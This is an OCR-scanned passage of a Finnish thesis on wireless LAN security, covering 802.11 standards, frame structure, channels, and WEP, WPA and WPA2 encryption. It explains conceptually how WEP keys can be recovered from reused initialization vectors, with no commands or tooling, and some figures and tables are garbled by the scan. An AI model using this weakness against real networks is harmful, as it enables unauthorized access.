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Langaton l&hiverkko ja tietoturva

1 JOHDANTO

Langaton tietoliikenne on yleistynyt rajusti viime vuosikymmenien aikana
ja kasvusuunta on yh& yldspéin. Langaton verkkoteknologia mahdollistaa
kantoalueella olevien kayttdjien vaivattoman Internet-yhteyden kayton il-
man fyysisten kaapelointien tuomaa rajoitetta. Langatonta verkkoteknolo-
giaa hyodyntéden mahdollistetaan yhteys tietoverkkoon esimerkiksi tiloihin,
joihin kaapeloinnin tai yhteyden toteuttaminen olisi muutoin vaikeaa.

Erilaisia langattomia laitteita voidaan liittdd nykypéaivéana tietoverkkoon ja
esimerkiksi teollisuudessa langattomat mittausanturit ja etdluettavat laitteet
hyodyntéavat jo langattomia tietoliikenneyhteyksid. Niin kutsuttu esineiden
Internet on vahvasti nykypdivéa. Langaton lahiverkko on myds kaytossa
useimmilla kuluttajilla langallisen yhteyden lisdna ja yritysmaailmassa lan-
gaton lahiverkko yha enemméan muuttaa suuntaansa lisdarvopalvelusta vaa-
timukseksi. Langattomien lahiverkkojen mahdollistaessa yhteydettomén
tiedonsiirron ilman fyysista kaapelointia, on langattomaan tekniikkaan liit-
tyva tietoturva ollut oleellinen asia kehityksen alkumetreisté lahtien.

Opinndytetyon teoriaosuudessa perehdytdan langattoman l&hiverkon histo-
riaan ja toimintaan. Opinnaytetydssa esitellaén eri tapoja, miten langatto-
massa lahiverkossa tapahtuvaa tiedonsiirtoa voidaan suojata, yleisimpié
hyokkayksia langattomia l&hiverkkoja ja niiden kayttdjia kohtaan seké sel-
vitetddn miten hyokkaykset itsessadn toimivat.

Kéytannon osuudessa mallinnetaan teorian pohjalta hyokkayksia testiym-
paristdad vasten. Kaytannon testeilla pyritddn havainnoimaan hyokkayksien
valitdnta vaikutusta verkon toimintaan ja kayttdjien yhteyden laatuun nah-
den. Kaytannon testeissd kéytettiin Linux-pohjaista Kali-kayttojarjestelmaa
ja tietoturvatestaamiseen soveltuvaa langatonta verkkokorttia.

2 LANGATTOMAT LAHIVERKOT

Wireless Local Area Network eli WLAN on verkkoyhteyden langaton ja-
kelumenetelma radioaaltoja hyvéksi kayttden. Nykypdivana tydasemat voi-
vat liittya lahiverkkoon kiinteédlla yhteydella tai langattomasti ja useat jul-
kiset tahot, muun muassa hotellit ja lentokentat tarjoavat maksutonta ja
avointa WLANIa asiakkailleen.

WLAN perustuu l&hetin-vastaanotin periaatteeseen ja pohjautuu Institute of
Electrical and Electronics Engineer-organisaation, eli IEEE:n hallinnoi-
maan 802.11-standardijoukkoon. WLAN tunnetaan myos kaupallisella ni-
mellddn Wi-Fi (Wireless Fidelity) joka on Wi-Fi Alliancen lanseeraama
termi.

Tyypillinen langaton lahiverkko koostuu langattomasta reitittimesta tai tu-
kiasemasta ja langattomista kéyttdjista. Langattomaan reitittimeen mééritel-
1a4n verkko ja kéytettava salaus. Taman jalkeen verkkoon voidaan yhdistaa
langattoman verkkokortin omaavalla laitteella. Yhdistettdessé paatelaitteen
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langaton verkkokortti ottaa yhteytta tukiaseman radioantenniin seka tarkas-
taa vaadittavat parametrit tahén liittydkseen. Yhteyden onnistuneen muo-
dostuksen jélkeen voidaan dataa l&hettdd ja vastaanottaa verkossa.

Tassé luvussa on kayty l&pi historiaa ja tekniikkaa langattomaan tiedonsiir-
toon liittyen ja pohjustetaan vaadittava teoria langattomien lahiverkkoihin
kohdistuvien hydkkaysten avaamiseksi.

2.1 |EEE 802.11

Langattomien l&hiverkon kehityskaaren katsotaan alkaneen vuonna 1997,
jolloin IEEE spesifioi alkuperdisen 802.11 standardin. Alkuperéinen
802.11-standardi mahdollisti 2Mbit/s teoreettisen tiedonsiirron nopeuden ja
standardi operoi 2,4GHz taajuusalueella. Julkaisuhetkena langallisen Ether-
net-yhteyden teoreettinen maksiminopeus oli 10Mbit/s, joten 802.11 tie-
donsiirtonopeus ei tahén verrattuna ollut jarin suuri.

2.1.1 IEEE 802.11b ja 802.11a

Standardit 802.11a ja 802.11b kehitettiin ja julkaistiin samaan aikaan
IEEE:n toimesta vuonna 1999. 802.11b-standardia pidetdan langattomien
lahiverkkojen osalta lapimurtona ja standardin julkaisemisen jélkeen lan-
gattomat lahiverkot yleistyivat muun muassa lentokentilla sekd muissa jul-
Kisissa tiloissa, kuin myds yritysmaailmassa.

802.11b-standardi operoi 2,4GHz taajuusalueella ja mahdollistaa teoreetti-
sen tiedonsiirron maksiminopeuden aina 11Mbit/s asti. Standardin mukana
esiteltiin myds ARS-ominaisuus, joka mahdollisti tiedonsiirron nopeuden
pudottamisen kanavalla esiintyvan radioliikenteen aiheuttaman hairion mu-
kaan, lisddmélla tiedonsiirron vélille enemmaén virheentarkastelua. Tall&
ominaisuudella parannettiin huomattavasti langattoman yhteyden laatua ja
kaytettavyyttd. Kaytettavan 2,4GHz taajuusalueen vuoksi kantoalue ja ra-
dioaaltojen l&péisykyky on 802.11a-standardia parempi.

802.11b-standardista poiketen 802.11a toimii 5GHz taajuudella ja teoreet-
tinen tiedonsiirron maksiminopeus standardia kéayttavilla verkkolaitteilla on
54Mbit/s.

802.11a-standardi ei misséan vaiheessa langattomien l&hiverkkojen kehi-
tyskulkua saavuttanut yhté suurta suosiota kuin 802.11b. Johtuen standardin
kayttdmasta korkeammasta taajuudesta, langattoman l&hiverkon peittoalue
on pienempi ja radioaallot lapéisevat esineitd tehottomammin. Myos
802.11a-standardin kanssa yhteensopivien piirikorttien valmistaminen oli
802.11b:hen verrattuna huomattavasti kalliimpaa. (Poole n.d.)

2.1.2 |EEE 802.11g

802.11g-standardi julkaistiin vuonna 2003. 802.11-standardi toimii 2,4
GHz taajuudella ja mahdollistaa maksimitiedonsiirtonopeuden 54 Mbit/s
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asti. Standardi toi mukanaan parannuksia aikaisempaan 802.11b:hen n&h-
den ja standardista tuli lopulta yleisimmin kaytetty. 802.11g on tana péi-
vanakin viela yleisesti kéytdssa.

802.11g-standardi on 802.11b-standardin kanssa kaantaen toiminnallinen,
eli 802.11g-standardia tukevat verkkolaitteet pystyvat myods kommunikoi-
maan aikaisempaa 802.11b-standardia kayttavien laitteiden kanssa. Tamé
muunnos aiheuttaa tosin tiedonsiirron nopeuden putoamisen, johtuen
802.11b-standardin hitaammasta maksimitiedonsiirtonopeudesta ja pidem-
maésté kaistanvarausajasta. (Poole n.d.)

2.1.3 IEEE 802.11n

IEEE julkaisi 802.11n-standardin vuonna 2009, tavoitteenaan vastata lan-
gallisen Ethernet-yhteyksien kovaa vauhtia kasvaviin tiedonsiirtonopeuk-
siin. Aikaisempia standardeja suuremman tiedonsiirtonopeuden mahdollis-
tamiseksi, standardissa hyédynnetadan MIMO-tekniikkaa. MIMO-tekniikka
mahdollistaa useamman antennin kayttdmisen tiedonsiirtoon. Enimmillaéan
standardi tukee yhteensa neljaa antennia ja mahdollistaa teoreettisen mak-
simitiedonsiirtonopeuden aina 600Mbit/s asti. 802.11n-standardia kayttaen
pystytddn myos yhdistdmaan kaksi tavallista, kaistanleveydeltddn 20 MHz
kanavaa, yhdeksi 40 MHz levyiseksi kanavaksi, joka nopeuttaa tiedonsiir-
toa. Standardin maksiminopeuden saavuttaminen on kuitenkin kaytannossé
vaikeaa, silla se vaatii sekd langattomalta tukiasemalta ettd langattomalta
verkkoadapterilta nelj& antennia ja johtuen kanavien yhdistdmisestd, mah-
dollisimman héiriévapaan alueen. Standardi operoi 2,4 GHz taajuusalueella
ja 5 GHz taajuusalueella.

Muiden ympadriston laitteiden, kuten esimerkiksi mikroaaltouunien tai 1a-
heisyydella olevien toisten langattomien verkkojen aiheuttamista hairidista
radioliikenteeseen, 802.11n-standardin verkkoja operoidaan yleensd yh-
delld kaistanleveydeltadn 20 MHz kanavalla. Talléin tiedonsiirtonopeus
standardissa on yhtd antennia ja yhtéd kanavaa kayttden 72Mbit/s. Nopeutta
pystytéan tosin tehokkaasti nostamaan liséamaélla antennien lukumaaraa.

MIMO-tekniikan kayttoonotto standardissa lisad myos standardia kaytta-
vien laitteiden virrankulutusta. Tat4 ongelmaa varten standardissa on vir-
ransaastoominaisuus, joka kytkee MIMO-tekniikan pois paaltd aina kun
laitteen kayttdaste on alhainen.

802.11n-standardi on nykypdivana yksi yleisimmin kaytdssé oleva. Stan-
dardi on taaksepdin yhteensopiva myos standardien 802.11a/b/g kanssa.
(Poole n.d.)

2.1.4 |EEE 802.11ac
802.11ac-standardi on IEEE:n vuonna 2013 kehittdmé 5 GHz taajuusalu-

eella toimiva ensimmaéinen gigabittiluokan langattoman lahiverkon stan-
dardi. 802.11ac-standardi pohjautuu aiempiin IEEE:n standardeihin, mutta
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sisaltdd myo6s uusia ominaisuuksia. Standardien tukemien antennien luku-
méaardd on nostettu aiemman 802.11n-standardin neljasta antennista kah-
deksaan antenniin. 802.11ac-standardissa kanavan kaistanleveys voi olla
aiempien standardien 20 MHz ja 40 MHz liséksi myds 80 MHz tai 160
MHz. Liséksi standardi pystyy yhdistamaan kaksi 80 MHz levyista kana-
vaa.

Myo0s tassé standardissa kaytetadn MIMO-tekniikkaa ja uutena lisénd MU-
MIMOa. MU-MIMO-tekniikkaa hyddyntden pystyvat 802.11ac-standardia
tukevat langattomat tukiasemat ohjaamaan dataa usealle kayttdjalle saman-
aikaisesti.

Uusien ominaisuuksien ansiosta 802.11ac-standardin teoreettinen tiedon-
siirron maksiminopeus on 6,93Gbit/s. Standardi on my6s taaksepéin yh-
teensopiva samalla taajuusalueella operoivien aikaisempien 802.11a- ja
802.11n-standardien kanssa. (Poole n.d.)

2.2  OSl-malli

OSI-malli (Open System Interconnect) on tietoliikennetekniikan malli, jota
kaytetddn kuvaamaan, miten yksittainen protokolla toimii tai miten data ko-
konaisuudessa liikkuu tietoverkossa. OSI-malli pitéa sisallaan seitseman eri
kerrosta. Data kulkee tietoverkossa l&hettajalta OSI-mallin hierarkian yl-
haalta alas vastaanottajalle, joka purkaa datan pdinvastaisessa jarjestyk-
sessé. Langaton lahiverkkotekniikka asettuu OSI-mallin toiselle ja ensim-
maiselle tasolle.

Sovelluskerrokselle (Application layer) kuuluvat kayttajaapplikaatiot, jotka
esittdvat verkosta vastaanotetun datan oikeassa muodossa loppukayttajalle.

Esityskerroksella (Presentation layer) suoritetaan datan konvertointi, esi-
merkiksi kayttajan applikaatiota varten. Esitystasolle kuuluvat myds tyypil-
lisesti datan salaus ja salauksen purku.

Istuntokerroksella (Session layer) avataan, yllapidetéén ja lopetetaan istun-
toja verkossa.

Kuljetuskerroksella (Transport layer) tapahtuu yhteyksien avaus ja lopetta-
minen, tarkeimpind protokollina TCP ja UDP. TCP:n ollessa yhteydellinen
protokolla, suoritetaan kuljetustasolla myods virheentarkastelua. UDP-
protokollan tapauksessa data ldhetetédén jatkuvasti ilman, ettd kohteelta var-
mistetaan datan olevan vastaanotettu.

Verkkokerroksella (Network layer) tapahtuu IP-osoitus ja liikenteen reititys
eri verkkojen vélilla. Verkkotason data on pakettimuodossa. Fyysisten ja
loogisten osoitteiden yhteen liittdminen tehd&&n myds verkkokerroksella.
Reitittimet seka reitittdmaan kykenevat kytkimet operoivat talla kerroksella.

Siirtoyhteyskerroksella (Data link layer) data on kehysmuodossa. Siirtoyh-
teyskerros vastaa datakehysten vélityksesté laitteiden vélilla fyysisen me-
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dian yli. Verkon laitteiden fyysinen tunnistaminen tapahtuu myos siirtoyh-
teystasolla. Siirtoyhteyskerroksella tunnistetaan ja myos korjataan tiedon-
siirron aikana tapahtuvia virheitd. Verkkokytkimet toimivat siirtoyhteysker-
roksella.

Fyysisella kerroksella (Physical layer) data on bittimuodossa. Fyysisella ta-
solla on itse media, jonka yli datan siirto tapahtuu. (CCNA 200-120 Exam:
The 7 Layer OSI Model n.d.)

OSI-mallin kerrokset ja kerroksilla toimivia yleisimpia protokollia on esi-
teltynd kuvassa 1.

Nro. Kerros Protokollia
L HTTP, SMTP,
7 Application TP
s Presentation JPG MPEG,GIF
5 Session NetBIOS, PPTP,
L2TP
4 Transport TCP, UDP
3 Network IPv4, IPv6, ICMP
. Ethernet, 802.11,
2 Data link VLAN
’ Physical Ethem_et, token
rnng

Kuval.  OSI-mallin seitseman kerrosta ja kerroksilla toimivia tietoliikenneprotokollia.

2.3 802.11 kehykset

802.11-standardin eri kehystyyppeja on kolme - management, control ja
data. Jokaisella ndista on myds useita eri alityyppejd, joita kaytetaan tietty-
jen viestien lahettdmiseen.

Management-tyypin kehyksia kdytetd&n esimerkiksi todentamiseen ja kéyt-
tajan tunnistamiseen.

Control-tyypin kehyksilla hallitaan kayttajien ja tukiasemien valisia yhteyk-
sid, sekd verkossa tapahtuvaa tiedonsiirtoa.
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Data-tyypin kehyksissa yleisimmin kulkee itse langattoman median yli 1&-
hetettdva data.

802.11-standardin kehysrakenne vaihtelee hieman kehyksen tyypista ja ali-
tyypista riippuen, mutta on tyypillisimmin alla olevan kuvan mukainen
(Kuva 2).

802.11 MAC header

Frame | Duration| Address | Address | Address [Sequence| Address | Network Data | FCS
Control ID 1 2 3 Control 4

2Bytes |2Bytes 6Bytes 6Bytes 6Bytes 2Bytes 6Bytes 0to2312Bytes 4 Bytes

/

/ —_—

Protocol To From | More Power | More
Version Type Subtype DS DS Frag Retry Mgmt | Data WEP | Order
2 bits 2 bits 4 bits 1bit 1 bit 1 bit 1 bit 1 bit 1 bit 1 bit 1 bit

Kuva 2. Langattoman kehyksen perusrakenne. (802.11 WLAN Packets and Protocols.
n.d)

Jokainen kehys siséltada vahintdan Frame Control- ja Duration ID -kentét,
tiedon kehyksen vastaanottajan MAC-osoitteesta seka kehyksen virheentar-
kastuskentan FCS.

Kehyksen kahden tavun kokoinen Frame Control -kentta siséltéa tietoa lan-
gattoman kehyksen tyypistd, kaytetysta standardista, virranhallinnasta seké
tietoturvasta. Tarkemmin Frame Control -kenttd jakaantuu seuraavasti:

— Kehyksessa kaytettava 802.11-standardi (Protocol Version)

— Kehyksen tyyppi (Type)

— Kehyksen alityyppi (Subtype)

— Tieto siitd, onko kehys menossa hajautettuun jarjestelmaén vai poistu-
massa siitd. Kaytdssa vain datakehyksissa (To DS & From DS)

— Tieto siitd, lahetetddnkd kehys palasina ja seuraako kehyksen perassa
lisad palasia (More Frag).

— Tieto siit4, onko kyseessd uudelleenldhetys vai ei (Retry)

— Dataa lahettdvén aseman tila, aktiivinen vai virranséastotilassa (Power
Mgmt)

— Tukiaseman l&hettdma tieto virransaastotilassa olevalle asemalle, ettéd
kehyksen jalkeen seuraa lisdé dataa (More Data)

— Tieto kaytetddnko kehyksen salaukseen WEP-protokollaa ja tuleeko ke-
hys purkaa tdman mukaisesti (WEP)

— Datan prosessointijarjestys (Order)
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Kehyksen Duration ID -kenttd on kdytdssa vain control-tyypin kehyksissé.
ID-kenttaa kaytetadn ainoastaan PS-POLL-alityypin kehyksissd kertomaan
virransééstotilassa olevan aseman yhdistamistunnus tukiasemalle. Muiden
alityyppien tapauksessa, Duration ID -kentté kertoo ajan, jonka sisélla lahe-
tetty kehys ja vastaanottokuittaus tulee tapahtua.

Osoitekenttien Address 1 —4 -sisall6t riippuvat kehyksen tyypista seka siita,
minkélainen WLAN-ymparisto on kaytossa. Kaikkia neljaé osoitekenttéa ei
valttamatta kayteta ollenkaan.

- BSSID (Basic Service Set Identifier), tukiaseman MAC-osoite

- Kohdeosoite (DA), kehyksen lopullisen vastaanottajan MAC-osoite

- Ldahdeosoite (SA), kehyksen alkuperdisen lahettdjan MAC-osoite

- Vastaanottimen osoite (RA), aseman MAC-osoite langattomassa ver-
kossa, jolle kehys siirretadn seuraavaksi

- Lahettimen osoite (TA), aseman MAC-osoite, joka on lahettanyt kehyk-
sen eteenpain

Kehyksen osoitetietojen jarjestys ja sisaltd méaratdadn Frame Control-ken-
tdn To DS & From DS -bittien mukaisesti. Kuvassa 3 on esitelty osoitekent-
tien tietueet.

To DS From DS Address 1 Address 2 Address 3 Address 4
0 0 DA SA BSSID N/A
0 1 DA BSSID SA NA
1 0 BSSID SA DA NA
1 | RA TA DA SA
WLAN MAC, Address Field Contents
Kuva 3. Kehyksen osoitetiedot. (RF Wireless World. n.d)

Sequence Control -kentén tarkoituksena on ilmaista samaan kehykseen kuu-
luvien palasien jarjestys ja tunnistaa mahdolliset uudelleenlahetykset.

Kehyksen varsinainen data kulkee Network Data -osiossa. FCS-osiossa ta-
pahtuu kehyksen virheentarkastus. (How 802.11 Wireless Works 2003.)

2.4 Taajuusalueet ja kanavat

Langattomassa lahiverkossa tiedonsiirto tapahtuu kahdella eri taajuusalu-
eella riippuen kaytetystd standardista. Yleisimmin kaytetty taajuusalue on
2,AGHz. Kyseinen taajuusalue pitéd sisallaédn yhteensa 14 eri kaistanle-
veydeltddn 22 MHz kanavaa jaoteltuina 5MHz:n valein. Kaytdssé olevien
kanavien lukumaard on maakohtainen ja esimerkiksi Suomessa on sovittu
kéytettdvan kolmeatoista kanavaa. 2,4GHz taajuusalueella kaytettavissa
olevat kanavat ovat esiteltynd kuvassa 4.
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Kanavien jaottelusta ja kaistanleveydestd johtuen osa kanavista menee paal-
lekkéin ja lahekkain olevilla kanavilla kommunikoivat laitteet aiheuttavat
hairioité tiedonsiirtoon. Suositeltavaa on kayttaa ei-paallekkaisia kanavia,
esimerkiksi kanavia 1, 6 ja 11, jotta hairi6ilta véltytdan. (Poole n.d.)

Kanava | Pienintaajuus | Keskitaajuus | Suurin taajuus
(MHzZ) (MHz) (MHz)
1 2401 2412 2423
2 2406 2417 2428
3 2411 2422 2433
4 2416 2427 2438
5 2421 2432 2443
6 2426 2437 2448
7 2431 2442 2453
8 2436 2447 2458
9 2441 2452 2463
10 2446 2457 2468
11 2451 2462 2473
2 2456 2467 2478
13 2461 2472 2483
14 2473 2484 2495

Kuva 4. Kuva 2,4GHz taajuusalueesta ja kanavista.

Toinen kaytettavissa oleva taajuusalue on 5GHz, jota kayttaa 802.11 stan-
dardeista a, n ja ac. Tarkemmin taajuusalue ulottuu noin 5180MHz aina
5825MHz asti. Kanavien kaistanleveys on 20MHz ja kyseinen taajuusalue
sisaltda kanavia yhteensa 24 kappaletta. Kéytettavien kanavien lukumaaré
on maakohtainen ja Suomessa kaytdssa on vain 19 kanavaa.

5GHz taajuusalue on hairiévapaampi kuin 2,4GHz, silla useimmat hairi6ta
aiheuttavat elektroniikkalaitteet operoivat matalammilla taajuuksilla. Kor-
keampaa 5GHz taajuutta kéyttden pystytddn myos nopeampaan tiedonsiir-
toon, mutta 5GHz radioaallot eivét 1&paise esineitd yhtd hyvin jonka takia
signaalin kantama on lyhyempi. Suomessa kéytdssa olevat 5GHz taajuus-
alueen kanavat nakyvét kuvassa 5. (Poole n.d.)
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taajuusalue (MHz)  numero  rajoitukset

5180 - 5200 36 vain sisdtiloissa
5200 - 5220 40 vain sisdtiloissa
5220 - 5240 - vain sisatiloissa
5240 - 5260 48 vain sisatiloissa
5260 - 5280 52 vain sisatiloissa
5280 - 5300 56 vain sisatiloissa
5300 - 5320 60 vain sisatiloissa
5320 - 5340 64 vain sisatiloissa
5500 - 5520 100
5520 - 5540 104
5540 - 5560 108
5560 - 5580 112
5580 - 5600 116
5600 - 5620 120
5620 - 5640 124
5640 - 5660 128
5660 - 5680 132
5680 - 5700 136
5700 - 5720 140

Kuva5.  Suomessa kéytetyt 5GHz taajuusalueen kanavat. (Radiotaajuuskirja/langaton
lahiverkko, 2015)

2.5 ESSID ja BSSID

ESSID eli Extended Service Set Identifier, on langattoman l&hiverkon nimi.
Usein puhutaan myos pelkastaan SSID:std. SSID on pituudeltaan maksimis-
saan 32 merkkid ja se madritetdan verkkoa luodessa. Tukiasemat mainosta-
vat tarjoamiaan SSID:td beacon-tyypin kehyksill& tasaisin véliajoin. Beacon
on yksi management-kehyksien alityypeisté ja sisaltdd myos tietoa verkossa
kaytettavista asetuksista, kuten tiedonsiirtonopeudesta ja kanavasta.

Laajemmissa WLAN-ymparistdissa sama SSID on yleensa kéytdssa usealla
tukiasemalla ja tukiasemien yksildimiseksi jokaisella tukiasemalla on oma
BSSID (Basic Service Set Identifier). BSSID on tukiaseman radion MAC-
osoite ja mikali useampia SSID:t4 kaytetddn, generoidaan jokaiselle
SSID:lle tukiasemakohtainen BSSID tukiaseman radion MAC-osoitteen
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pohjalta. (Understanding the Network Terms SSID, BSSID, and ESSID
2015.)

3 SUOJAUKSET JA YLEISIMMAT HYOKKAYKSET

3.1 WEP

Langattoman l&hiverkon yleistymisen ja kehityksen my6té on verkon tieto-
turvan varmistamiseksi kehitetty erilaisia tekniikoita salata verkossa tapah-
tuvaa tiedonsiirtoa ja itse verkkoon liittymistd. Langattoman lahiverkon tie-
toturvasta huolehtimalla rajoitetaan asiattomien kayttdjien paésya verkkoon
ja verkon mahdollistamiin resursseihin seka pyritdén estimaan verkossa ta-
pahtuvan tiedonsiirron hairitsemista.

Langattoman lahiverkkotekniikan ollessa kéytdssa jo vuodesta 1997 lah-
tien, on kehityskaaren aikana havaittu useita erindisia haavoittuvuuksia ke-
hitettyjen salausten ja verkon toiminnallisuuden osalta, jotka vaarantavat
ehedn tiedonsiirron verkon yli ja mahdollistavat pahimmillaan asiattomien
kayttajien liittymisen langattomaan l&hiverkkoon néita tietoturva-aukkoja
hyvaksikayttéaen.

Tassa luvussa on kayty lapi yleisimpia langattoman lahiverkon salauksia
tarkemmin ja langattomaan l&hiverkon heikkouksia, yleisimpia hyokkayk-
sid sekd niiden toimintaperiaatetta.

Wired Equivalent Privacy (WEP) on IEEE:n vuonna 1997 alkuperdisen
802.11-standardin mukana julkaistu tiedon salaamista ja kayttajan toden-
nusta varten kehitetty salausmenetelma. WEP-salaus kehitettiin turvaamaan
langattomia lahiverkkoja, jotta voitaisiin estaé asiattomien kayttajien liitty-
minen verkkoon ja suojata verkossa liikkuvaa dataa.

WEP on niin sanottu symmetrinen salaus, eli seka vastaanottaja ja lahettdja
kayttavat aina samaa avainta datan salaukseen sekd purkamiseen. Myods
verkkoon kirjautuminen tapahtuvaa samaa avainta kayttden. WEP:ssé data-
kehyksen eheydentarkistuksesta vastaa CRC32-tarkistussummamenetelma.

WEP-avaimen pituus oli alkuperéisessa standardissa 40 bittid ja my6hem-
min avaimen pituutta nostettiin turvallisuuden parantamiseksi 104 bittiin
asti. WEP-avain voidaan méaérittdd heksadesimaalimuodossa tai ASCII-
merkeilla.

Kuvassa 6 havainnollistetaan WEP-salauksen toimintaa. Datan salauksessa
kaytetddn RC4-jonosalausmenetelma ja satunnaisesti luotua 24 bitin mit-
taista alustusvektoria. RC4-algoritmi luo WEP-avaimen ja alustusvektorin
pohjalta satunnaisen avainvirran, jolle tehddén vield lopuksi salattavan vies-
tin kanssa looginen XOR-operaatio. Lopuksi salatun datan eteen liitetdan
viela salaukseen kaytetty alustusvektori. Datakehyksen vastaanottaja pur-
kaa WEP-salatun kehyksen kayttdmalla tiedossa olevaa WEP-avainta ja
alustusvektoria. (Wong 2003, 1 - 3)
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Alustusvektori + WEP-avain || RC4 Ly, BOAdlpcditnis \

luoma avainvirta

/ XOR-operaatio | Salattu data

Salattava data

Kuva6.  WEP-salauksen toimintaperiaate.

3.1.1 Todennus WEP-suojattuun langattomaan lahiverkkoon

WEP-suojattuun langattomaan lahiverkkoon voidaan liittya kahdella eri ta-
valla, joko haaste-vaste -todennuksen kautta tai avointa todennusta kayt-
taen.

Haaste-vaste -todennuksessa kayttdjé aloittaa todennuksen lahettdmalla tu-
kiasemalle todennuspyynnon. Tukiasema vastaa tdéhdn pyyntoon l&hetta-
mélld haastetekstin, jonka kéyttdja salaa tiedossa olevalla WEP-
avaimellaan. Kayttaja lahettdd salatun viestin tukiasemalle ja mikali tuki-
asema pystyy WEP-avaimellaan purkamaan salatusta kehyksesta alkuperdi-
sen haastetekstin, hyvaksytéan ja todennetaan kayttdja verkkoon. (Kuva 7)

Kayttdja Langaton tukiasema

& Kyttiijii Jhensa
]y Jd lihen g rodcnnuspyynnr‘in

o ahettamalti
Tukiasema vastad pyyntoon Response)

jcation
‘haas\atekst'm. (Authentic® i

Kiiyttiji vastaa haasteeseen salaamalla
haastetekstin W EP-avaimellaan

(Association Request)
un viestin oma

Tukiasema purkaa_ salat [,
avaimellaan ja vezafn‘ .
tiin. Jos teksty .
haastetekstun. 103 f ey
istui ja tukiasema
s onnistun ja Hes :
mdet%iytlﬁjﬁr\‘ (Association Reponse)

Kivitaja vhdistas verkkoon.

h 4

Kuva7.  Haaste-vaste -todennus WEP-suojatussa langattomassa lahiverkossa.

WEP-salauksen kanssa voidaan kayttdd myos avointa todennusta, jolloin
kuka tahansa langattomaan lahiverkkoon haluava voi todentaa ja yhdistaa
verkkoon, mutta ei pysty ilman oikeaa WEP-avainta kommunikoimaan ver-
kossa (Kuva 8).
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Access point

Client device or brdge
with WEP key =321 with WEP key = 123
” 1. Authentication request e I
=) 2. Authentication response
d w

. Association request

Y

A

3
4. Association response
5. WEP data frame to wired network

6. Key mismatch, frame discarded

v
X

Kuva8.  Avoin todennus WEP-suojattuun langattomaan I&hiverkkoon. Véaarén WEP-
avaimen tapauksessa, tukiasema tiputtaa kehykset. (Understanding Authenti-
cation Types 2018.)

5345333

3.1.2 WEP-salauksen haavoittuvuudet

WEP-salauksesta on paljastunut sen julkaisemisen jalkeen useita heikkouk-
sia, eika sen kaytto ole ollut suositeltavaa pitk&an aikaan, mikéli kéytossa
olevat paatelaitteet tukevat uudempia 802.11-standardeja. WEP-salauksesta
tekevat heikon WEP-avaimen symmetrisyys, muuttumattomuus, saman
avaimen kayttd kayttdjien todentamiseen ja datan salaamiseen, salaukseen
kaytettavan alustusvektorin lyhyt pituus ja puutteellinen kehyksen eheyden-
tarkistus.

Alustusvektorin kiintedn 24 bitin pituuden myo6ta mahdollisia erilaisia alus-
tusvektoreita on olemassa yhteensa rajattu madard, 16777215 kappaletta.
Alustusvektori kulkee WEP-salatussa kehyksessa salaamattomana osiona
ennen WEP-salattua dataa, ja koska alustusvektoria myos kaytetdadn yh-
dessa WEP-avaimen kanssa salaamaan itse data, voi hyokkaaja tarpeeksi
dataa keréttyadn vertailla samaa alustusvektoria kayttavia datakehyksia ja
selvittdd WEP-avaimen ndiden yhtélaisyyksien avulla. Tata hyokkaysta kut-
sutaan liittyva avain -hyokkaykseksi. Riippuen langattoman l&hiverkon lii-
kennemaaristd, voi WEP-avaimen murtaminen vieda parhaimmillaan vain
muutamia minuutteja. (Related-key attack 2015; Beaver & Davis 2005, 259
- 262)

3.2 WPA-TKIP

Wi-Fi Protected Access (WPA) on Wi-Fi Alliancen kehittdma ja vuonna
2003 julkaistu salaus. WEP-salauksessa ilmenneiden heikkouksien jalkeen,
alkoi IEEE kehittelemdan 802.11i-tietoturvastandardia, joka toisi muka-
naan parannetun salauksen langattomille lahiverkoille. Samalla aikaa Wi-Fi
Alliance vastasi tarpeeseen suojata langattomissa lahiverkoissa liikkuvaa
informaatiota WEP-salausta paremmin kehittdméallad WPA-salauksen, joka
suunniteltiin toimimaan valiaikaisena salauksena ennen varsinaisen IEEE:n
tietoturvastandardin julkaisua. WPA oli hyva ratkaisu, koska se hyodynsi
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myos datan salauksessa RC4-jonosalaajaa ja néin ollen mahdollisti kayt-
toonoton pelkén ohjelmistopaivityksen avulla.

WPA kayttaa datan salaukseen Temporal Key Integration Protocol -nimista
salausta (TKIP) ja vahvempaa kehysten eheydentarkistusmenetelméé Mes-
sage Integrity Checkia (MIC). TKIP:ssa alustusvektorin pituus on tuplasti
pidempi verrattuna WEP-salaukseen, eli 48 bittia. TKIP pitdd myos huolen
siitd, ettei samaa salausavainta kéytetd kuin yhdessa datakehyksessa. Uu-
sien ominaisuuksien ansiosta WPA:n avulla voitiin data salata huomatta-
vasti tehokkaammin kuin edeltdjassdan WEP:ssa. (Wi-Fi Protected Access:
Strong, standards-based, interoperable security for today’s Wi-Fi networks
2003)

3.3 WPA2-CCMP

Vuonna 2004 Wi-Fi Alliance julkaisi Wi-Fi Protected Access 2 -salauksen
(WPAZ2), jonka IEEE ratifioi samana vuonna 802.11i-standardiksi. Vuotta
aikaisemmin julkaistun WPA:n ollessa vield varsin tuore, oli WPA2:n
kayttd alkuaikoina varsin vahaista, mutta sittemmin WPA2:n kdyttdaste on
noussut vahvasti ja vuodesta 2006 edellytetdan jokaiselta uudelta Wi-Fi-
sertifioidulta langattomalta verkkolaitteelta WPAZ2-tukea. Téna paivana
WPAZ2-suojaus on Yleisin ja luotettavimmaksi todettu tekniikka langatto-
mien l&hiverkkojen suojaukseen.

WPA2 toi mukanaan edeltdjaéansd vahvemman datan salauksen CCMP-
lohkosalaajan mydté, joka pohjautuu Advanced Encryption Standard -tieto-
turvastandardiin (AES). AES-salausalgoritmi on yleisesti tunnustettu hyvin
vahvaksi. Myds WPAZ2:ssa kéytetddn kehysten eheydentarkastuksessa
MIC:i4. (The State of Wi-Fi Security 2012)

3.3.1 Todennus WPA- ja WPA2-suojattuihin verkkoihin

Kéyttdjan todennus tapahtuu WPA- ja WPA2-suojatuissa verkoissa niin
kutsutun neliosaisen kéttelyn kautta (Kuva 9). Neliosainen kattely tehdaan
tukiaseman ja kayttajan valilla ja aloitetaan, kun tukiasemaan yhdistava
kayttdja on jo suorittanut avoimen todennuksen. Kattelyssa tukiasema ja to-
dennettava kaytt4ja luovat vaadittavat avaimet datan salaamiseen ja purka-
miseen.

WPA- tai WPA2-salausta voidaan kéyttaa joko Personal- tai Enterprise-ti-
lassa. Personal-tilan tapauksessa verkolle mé&aratdan Pre-Shared Key
(PSK), jonka pituus on kokonaisuudessaan 256 bittid. PSK voidaan antaa
joko 64 pituisena heksadesimaalina tai 8 — 63 pituisena ASCII-merkkeiné.
Mikéali PSK annetaan ASCII-merkeilld, lasketaan annettujen ASCII-
merkkien ja SSID:n pohjalta PSK kéyttden PBKDF2-menetelmaa.

